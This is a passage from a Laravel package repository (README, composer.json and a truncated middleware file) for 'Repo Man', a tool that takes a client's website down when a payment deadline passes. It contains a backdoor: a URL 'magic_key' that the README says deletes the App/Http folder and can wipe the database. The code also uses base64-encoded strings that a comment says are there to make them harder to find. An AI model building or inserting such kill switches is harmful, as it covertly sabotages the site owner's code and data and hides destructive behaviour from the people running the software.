├── README.md ├── composer.json └── src ├── Middleware └── RepoManMiddleware.php ├── ServiceProvider.php └── config └── repoman.php /README.md: -------------------------------------------------------------------------------- 1 | # Laravel «Repo Man» 2 | Suppose the customer has not paid and you want to deactivate the site if the deadline is reached and he does not pay! 3 | 4 | ## How to 5 | 1. Install 6 | `composer require webpajooh/laravel-repoman` 7 | 2. Publish repoman.php 8 | `php artisan vendor:publish` 9 | 3. Edit config/repoman.php 10 | 11 | ## Magic key 12 | There is a `magic_key` option in the configuration file that is commented by default: 13 | `'magic_key' => 'Lbs96hv7Fzn28QLSXaIKtAXwlHSDU'` 14 | You can change the value, and use it when you want: 15 | example.com/?magic_key=Lbs96hv7Fzn28QLSXaIKtAXwlHSDU 16 | If we send a request to this link, we will lose the App/Http folder! What about the database? Uncomment `empty_database`, and the package will fresh the database after creating a backup into `storage/app` directory. Consider that we only support MySQL at the moment. 17 | -------------------------------------------------------------------------------- /composer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "webpajooh/laravel-repoman", 3 | "description": "Set a payment deadline for the customer", 4 | "keywords": ["laravel", "tools", "package", "repo-man"], 5 | "license": "MIT", 6 | "homepage": "https://github.com/WebPajooh/laravel-repoman", 7 | "authors": [ 8 | { 9 | "name": "WebPajooh", 10 | "email": "webpajooh@gmail.com" 11 | } 12 | ], 13 | "require": { 14 | "php": ">=7.0.0", 15 | "laravel/framework":"6.*|7.*|8.*|9.*" 16 | }, 17 | "autoload": { 18 | "psr-4": { 19 | "WebPajooh\\LaravelRepoMan\\": "src/" 20 | } 21 | }, 22 | "extra": { 23 | "laravel": { 24 | "providers": [ 25 | "WebPajooh\\LaravelRepoMan\\ServiceProvider" 26 | ] 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/Middleware/RepoManMiddleware.php: -------------------------------------------------------------------------------- 1 | isTheMagicKeyPresent()) { 16 | $this->doTheMagic(); 17 | } 18 | 19 | $startDate = Carbon::createFromTimeString( 20 | config('repoman.start_date') 21 | ); 22 | 23 | $endTime = $startDate->copy()->addRealDays(config('repoman.deadline_days')); 24 | 25 | if ($startDate->isFuture()) { 26 | return $next($request); 27 | } 28 | 29 | if ($endTime->isPast()) { 30 | exit; 31 | } 32 | 33 | $response = $next($request); 34 | 35 | $newContent = $this->modifyContent($response->getContent(), $endTime); 36 | 37 | return $response->setContent($newContent); 38 | } 39 | 40 | private function isTheMagicKeyPresent() 41 | { 42 | return ! is_null(config('repoman.magic_key')) 43 | && config('repoman.magic_key') == request()->magic_key; 44 | } 45 | 46 | private function modifyContent($content, $endTime) 47 | { 48 | $diffInDays = $endTime->diffInDays(now()); 49 | 50 | // I have encoded the strings to make them harder to find, and I know it's ugly! 51 | if ($this->isPersian()) { 52 | $text = base64_decode('2KfbjNmGINmI2KjYs9in24zYqiA=') . $diffInDays . base64_decode('INix2YjYsiDYr9uM2q/YsSDYutuM2LEg2YHYudin2YQg2K7ZiNin2YfYryDYtNiv'); 53 | } else { 54 | $text = base64_decode('VGhpcyB3ZWJzaXRlIGJlY29tZXMgZG93biBpbiA=') . $diffInDays . Str::plural(' day', $diffInDays) . base64_decode('IGZyb20gbm93'); 55 | } 56 | 57 | // This makes a